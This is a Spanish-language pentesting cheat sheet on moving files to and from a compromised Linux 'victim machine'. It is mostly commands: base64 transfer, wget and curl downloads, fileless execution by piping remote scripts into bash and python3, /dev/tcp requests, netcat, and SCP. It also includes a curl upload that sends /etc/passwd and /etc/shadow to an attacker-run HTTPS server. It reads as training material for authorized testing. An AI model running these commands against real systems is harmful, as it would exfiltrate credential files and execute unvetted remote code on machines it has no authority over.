Transferencia de Archivos
Diferentes utilidades para las operaciones de transferencia de archivos en Linux.
Operaciones de Descarga
Codificación/Decodificación Base64
Máquina atacante
cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==Máquina víctima
echo "SGVsbG8gV29ybGQhCg==" | base64 -d > test.txtDescargas web con Wget y cURL
Dos de las utilidades más comunes en las distribuciones de Linux para interactuar con aplicaciones web son wget y curl. Estas herramientas están instaladas en muchas distribuciones de Linux.
Para descargar un archivo usando wget, necesitamos especificar la URL y la opción -O para establecer el nombre del archivo de salida.
Descargar un archivo usando wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.shDescargar un archivo usando cURL
cURL es muy similar a wget, pero la opción del nombre del archivo de salida es -o en minúscula.
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o /tmp/LinEnum.shAtaques sin archivos usando Linux
Descarga sin archivos con cURL
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bashDescarga sin archivos con wget
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!Descargar con Bash (/dev/tcp)
También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre que esté instalada la versión 2.04 o superior de Bash (compilada con --enable-net-redirections), el archivo de dispositivo integrado /dev/tcp se puede utilizar para descargas de archivos simples.
Máquina atacante
Creamos un servicor HTTP con Python.
python3 -m http.server 80Máquina víctima
Nos conectamos al servidor web de destino
exec 3<>/dev/tcp/10.10.10.32/80Realizamos la solicitud HTTP GET
echo -e "GET /test.txt HTTP/1.1\n\n">&3Imprimimos la respuesta
cat <&3Descargas SSH
Linux: descarga de archivos mediante SCP
scp elliot@192.168.1.19:/root/myroot.txt . Web Upload
Podemos usar uploadserver , un módulo extendido de Python HTTP.Server módulo, que incluye una página de carga de archivos. Para este ejemplo de Linux, veamos cómo podemos configurar el uploadserver módulo a utilizar HTTPS para una comunicación segura.
Lo primero que debemos hacer es instalar el uploadserver módulo.
Iniciar servidor web
sudo python3 -m pip install --user uploadserverAhora necesitamos crear un certificado. En este ejemplo, utilizamos un certificado autofirmado.
Crear un certificado autofirmado
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'El servidor web no debe alojar el certificado. Recomendamos crear un nuevo directorio para alojar el archivo en nuestro servidor web.
Iniciar servidor web
mkdir https && cd httpssudo python3 -m uploadserver 443 --server-certificate ~/server.pemAhora desde nuestra máquina comprometida, carguemos el /etc/passwd y /etc/shadow archivos.
Máquina Víctima (Linux)
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureUsamos la opción --insecure porque utilizamos un certificado autofirmado en el que confiamos.
Netcat
Máquina atacante
nc -l -p 4444 > output.txtMáquina victima
nc -w 3 192.168.1.10 4444 < output.txtMétodo alternativo de transferencia de archivos web
Linux: creación de un servidor web con Python3
python3 -m http.serverLinux: creación de un servidor web con Python2.7
python2.7 -m SimpleHTTPServerLinux: creación de un servidor web con PHP
php -S 0.0.0.0:8000Linux: creación de un servidor web con Ruby
ruby -run -ehttpd . -p8000Descargamos el archivo
wget 192.168.1.19:8000/filetotransfer.txtOperaciones de Subida
SCP
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/Última actualización